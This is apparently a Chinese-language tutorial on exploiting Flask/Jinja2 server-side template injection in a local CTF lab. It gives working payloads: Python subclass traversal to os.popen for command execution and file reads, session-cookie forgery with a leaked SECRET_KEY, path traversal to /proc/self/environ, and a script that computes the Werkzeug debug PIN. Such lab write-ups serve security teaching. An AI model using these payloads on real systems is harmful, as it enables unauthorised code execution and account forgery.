目录

Flask SSTI 利用方式探索

Flask SSTI 利用方式探索

python 语言基础

在 python 中,object 类是 Python 中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承 object 类。 每个类都有的魔术变量 __class__,表示当前类。

1
print("".__class__)

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210311212452.png-water_print

每个类都有一个 __base__ 属性,列出其基类:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210311212639.png-water_print

列出所有基类:__bases__

列举类的调用顺序:__mro__

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210311212935.png-water_print

获取子类集合:''.__class__.__mro__[1].__subclasses__()

接下来寻找可以执行命令的子类:os._wrap_close(133)

查找可使用的变量和方法:"".__class__.__mro__[1].__subclasses__()[133].__init__.__globals__

执行系统命令:"".__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']('ls').read()

读取文件内容:"".__class__.__mro__[1].__subclasses__()[133].__init__.__globals__["__builtins__"]["open"]("flag.txt").read()

SSTI 简介 & 环境搭建

模板

一个统一风格的站点,其大多数页面样式都是一致的,只是每个页面显示的内容各不相同。要是所有的逻辑都放在前端进行,无疑会影响响应效果和效率,很不现实。把所有的逻辑放在后端,又会导致太过复杂,前轻后重

模板的诞生是为了将显示与数据分离,让前端工作人员专注表现设计,后台人员注重业务逻辑,同时简化代码的复杂程度。模板技术多种多样,但其本质是将模板文件和数据通过模板引擎生成最终的HTML代码。

Flask 使用 Jinja2 作为模板引擎,Jinja 的语法很简单,大致有这么几种:

1
2
3
4
{%...%} 语句 (Statements)
{{...}} 打印模板输出的表达式 (Expressions)
{{#...#}} 注释
#...## 行注释 (Line Statements)

SSTI

在 SSTI 漏洞点中,{{x}} 里面的内容会被执行。

SSTI,又称服务端模板注入攻击。jinja2 模板中使用 {} 语法表示一个变量,它是一种特殊的占位符。当利用 jinja2 进行渲染的时候,它会把这些特殊的占位符进行填充/替换。但是在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露代码执行GetShell 等问题

环境搭建

测试环境搭建:Ubuntu + Docker

环境:

https://github.com/Tiaonmmn/pasecactf_2019_web_honey_shop

敏感信息泄露导致身份伪造

flask session 机制

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622114302.png-water_print

通过.隔开的 3 段内容,第一段其实就是 base64encode 后的内容,但去掉了填充用的等号,若 decode 失败,自己需要补上 1-3 个等号补全。中间内容为时间戳,在 flask 中时间戳若超过 31 天则视为无效。最后一段则是安全签名,将 session data时间戳flasksecretkey 通过 sha1 运算的结果。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622142923.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622143031.png-water_print

方法一

该应用在 /hello 下存在 SSTI 漏洞:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622144155.png-water_print

config 下泄露了 SECRET_KEY

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622144201.png-water_print

使用 flask-unsign 工具(使用 pip 安装)伪造 Cookie:

1
flask-unsign --sign --cookie "{'balance': 6666}" --secret "7xrQRfVWmTHMRzwGXLhCQrECTqLndq1ODnvvDjKZ"

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622145634.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622145651.png-water_print

方法二

http://127.0.0.1:8345/download?image=1.jpg 存在任意文件下载漏洞,下载环境变量文件:

http://127.0.0.1:8345/download?image=../../../../../../../../../proc/self/environ

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622150508.png-water_print

Flask PIN 码利用

Flask PIN 码

Flask Debug 应用在模式下提供的一种页面端的交互调试工具,和我们平时使用的 Python 命令行是一样的,也就是给我们提供了一个交互式的 web 端 shell。但是 PIN 码的生成规则是有规律可循的,使得获取 PIN 码成为可能,之后能够利用的方式有很多。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '345051575547'# str(uuid.getnode()),  /sys/class/net/eth0/address
    '613cacd3857f425e9409e544dece08da', # get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

脚本中 6 个参数的获取方法:

username

运行 flask 的用户,之前读取 /etc/passwd 获取

modname

一般默认即可

app name

一般默认即可

路径

debug 下报错

网络地址

读取:/sys/class/net/eth0/address

1
int("02:42:ac:13:00:02".replace(":", ""), 16)

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622152622.png-water_print

机器码

读取:/etc/machine-id 或者 /proc/self/cgroup

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622152957.png-water_print

执行脚本

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622153235.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622153404.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622153639.png-water_print

SSTI 导致 RCE

代码执行

1
2
3
{%for i in range(10)%}
{%print(i)%}
{%endfor%}

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622154036.png-water_print

python 魔法函数 + 内置函数

魔法函数

所谓魔法函数(Magic Methods),是 Python 的一种高级语法,允许你在类中自定义函数(函数名格式一般为 __x__),并绑定到类的特殊方法中。比如在类 A 中自定义 __str__ 函数,则在调用 str(A) 时,会自动调用 __str__ 函数,并返回相应的结果。在我们平时的使用中,可能经常使用 __init__ 函数和 __del__ 函数,其实这也是魔法函数的一种。

内置函数

在 python 中输入 help(__builtins__),可以查看帮助,简单地说就是 Python 中自带的函数

1
http://127.0.0.1:8345/hello?name=\{\{%22%22.__class__.__base__.__subclasses__()[302].__init__.__globals__[%27os%27].popen(%22whoami%22).read()\}\}

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200622160206.png-water_print